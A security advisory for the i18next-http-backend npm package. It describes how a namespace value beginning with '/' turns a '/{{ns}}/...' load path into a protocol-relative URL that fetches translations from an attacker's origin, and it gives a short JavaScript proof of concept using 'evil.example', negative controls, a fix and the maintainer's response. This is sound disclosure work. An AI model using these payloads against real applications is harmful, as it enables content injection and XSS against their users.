GHSA-9jhj-wvmw-cfx5: XSS

Affected versions Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Impact Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.2 maintainer note says templates with a leading / are safe. This case is outside that statement.

Root cause isSafeNsUrlSegment rejects any ns containing //, but allows a single leading / (needed for nested namespaces like a/b). Interpolation into /{{ns}}/... puts the template's own / next to the value's /. The result starts with //, which is a protocol-relative URL. The check runs on the value, not on the final URL.

Minimal PoC js import Backend from 'i18next-http-backend' const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json', request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } }) b.read('en', '/evil.example', () => {}) Observed on 4.0.2: POC ns=/evil.example loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json origin in page https://app.example/ = https://evil.example

Negative controls (same run) - ns //evil.example: rejected ("unsafe lng/ns value"). - lng http:127.0.0.1:9 (the GHSA-xvq9 payload): rejected. - ns common and nested ns a/b: common/en.json and a/b/en.json, same origin.

Suggested fix Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

Disclosure We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.

Re-verification Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.

Reported by Zachariah Mithani.

Maintainer note

Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).

Preconditions. The loadPath / addPath template must put {{ns}} directly after a leading / (for example /{{ns}}/{{lng}}.json), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default /locales/{{lng}}/{{ns}}.json, templates with an origin, and templates with a fixed path segment before {{ns}} are not affected. Only browsers are affected: in Node, fetch('//host/...') fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.

Fix. The 4.0.2 // check looked at each value on its own and could not see the / the template puts in front of it. interpolateUrl now also checks the interpolated URL: it may only start with // or \ if the template itself does. Protocol-relative CDN templates such as //cdn.example/{{lng}}/{{ns}}.json keep working.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.3.

Related. i18next-fs-backend had the same class of problem for file paths (a leading / in ns, or C: in lng, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.